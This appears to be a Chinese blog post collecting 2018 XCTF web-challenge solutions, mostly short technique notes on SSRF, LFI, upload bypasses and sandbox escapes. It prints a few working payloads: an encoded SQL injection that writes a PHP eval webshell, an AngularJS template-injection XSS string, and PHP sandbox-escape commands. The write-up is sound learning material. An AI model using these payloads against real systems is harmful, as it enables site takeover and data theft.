「Web向」XCTF联赛2018年度考点知识总结


3.10 N1CTF

Easy&&Hard Php :

allow_diff_ip = 0,无法异地登录,需要绕过 $_SERVER['REMOTE_ADDR']

利用SoapClient类发送请求时User-Agent存在CRLF控制整个POST报文构造SSRF

利用短标签short_open_tag上传绕过检测getshell

非预期解1 session.upload :上传文件时POST一个与php.ini中设置的session.upload_progress.name同名变量

通过Session Upload Progress来设置session,配合LFI getshell

session.upload_progress.cleanup = On时,需条件竞争

非预期解2 Xdebug

利用LFI包含/var/www/phpinfo/index.php

之后利用Xdebug攻击

非预期解3 /tmp/临时文件竞争

4.11 HITB-XCTF

upload

上传页面可返回图片宽度和高度,猜测是用了PHP中的getimagesize()函数。而getimagesize 方法调用了Windows API里的FindFirstFileExW(),未对特殊字符进行处理,导致以下特性:

大于号(>)相等于通配符问号(?)

小于号(<)相当于通配符星号(*)

双引号(“)相当于点字符(.)

因此可以利用pic.php?file=../a</test.png这样的方式观察是否得到图片长宽回显,从而爆破上传路径。

Windows+IIS7.0环境下利用NTFS ADS特性绕过上传对后缀的检测。之后直接读文件即可。

Baby Baby

10250端口利用

Baby Nya

8009端口利用

访问Tomcat,通过Jolokia获取管理员权限。

4.21 Star CTF

5.19 RCTF

AMP

利用AMP特性绕过CSP打Cookie

AMP标准

AMP规范

AMP获取Cookie的方法

r-cursive

<?php
sha1($_SERVER['REMOTE_ADDR']) === '45ae51496b4a30e6be55f646c10c694c3feb946f' ?: die();
';' === preg_replace('/[^\W_]+\((?R)?\)/', NULL, $_GET['cmd']) ? eval($_GET['cmd']) : show_source(__FILE__);

一个php沙箱,正则告诉我们这里只能执行格式为xxxx();的函数,可以递归执行函数,不允许带参数。

?cmd=print(readdir(opendir(getcwd()))); 可以列目录
?cmd=print(readfile(readdir(opendir(getcwd())))); 读文件
?cmd=print(dirname(dirname(getcwd()))); print出/var/www

getallheaders()函数会返回所有的http请求头,因为header可控,所以可执行任意命令。

沙盒逃逸

backdoor

主要就是一个利用php伪协议(此处phar://或zip://)的文件包含

5.26 SUCTF

Anonymous

create_function产生匿名函数,动态函数执行。

HITCON-2017题目

Getshell

编码ISO-8859-15中可以用~进行取反生成所需字符

取反符~和不可见字符写shell

Multisql

预期解:变量预处理 mysqli_multi_query()造成多语句执行

http://web.suctf.asuri.org:85/user/user.php?id=22727;set @s=CHAR(115,101,108,101,99,116,32,39,60,63,112,104,112,32,101,118,97,108,40,36,95,80,79,83,84,91,98,100,119,93,41,59,63,62,39,32,105,110,116,111,32,111,117,116,102,105,108,101,32,39,47,118,97,114,47,119,119,119,47,104,116,109,108,47,102,97,118,105,99,111,110,47,109,121,115,104,101,108,108,46,112,104,112,39,59);prepare s2 from @s;execute s2;

非预期解:username二次注入。

HateIt

Homework

6.19 SCTF

新的建议板

页面包含angluar angluar-route两个js。

angluar模板注⼊

使⽤js编码来绕过 使⽤\u16进制绕过

{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} }
};\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0029//');}}

从angluar-route中找到被弃⽤的前端路由测试js⽂件。

XSS读后台页面用户名,结合API得到文件管理密码,从而得到flag文件。

Nginx的秘密

  • 利用目录穿越漏洞下载nginx.conf,发现proxy_cache的配置发生改变。
  • 扫目录推断后台路由逻辑。

。。后面从触发web缓存漏洞开始就看不懂了。。。

Zhuanxv

资源加载./loadimage?fileName=web_login_bg.jpg存在任意文件下载。

从GitHub中的commit记录中获取信息,进行绕过过滤的HQL注入。

phpmyadmin

通过/phpMyAdmin/index.php?lang[]=1报错得到网站路径。

修改general log file,将general log的值改为ON。

通过日志log文件写shell连接。

BabySyc - Simple PHP Web

  • PHP代码混淆

BabyIntranet

  • Rails
  • 域渗透
  • MS-NLMP协议
  • SMB签名

SCTF的Misc中加入了⼯控协议、侧信道相关的内容。

7.14 QCTF

文章目录
  1. 1. 3.10 N1CTF
    1. 1.1. Easy&&Hard Php :
  2. 2. 4.11 HITB-XCTF
    1. 2.1. upload
    2. 2.2. Baby Baby
    3. 2.3. Baby Nya
  3. 3. 4.21 Star CTF
  4. 4. 5.19 RCTF
    1. 4.1. AMP
    2. 4.2. r-cursive
    3. 4.3. backdoor
  5. 5. 5.26 SUCTF
    1. 5.1. Anonymous
    2. 5.2. Getshell
    3. 5.3. Multisql
    4. 5.4. HateIt
    5. 5.5. Homework
  6. 6. 6.19 SCTF
    1. 6.1. 新的建议板
    2. 6.2. Nginx的秘密
    3. 6.3. Zhuanxv
    4. 6.4. phpmyadmin
    5. 6.5. BabySyc - Simple PHP Web
    6. 6.6. BabyIntranet
  7. 7. 7.14 QCTF
|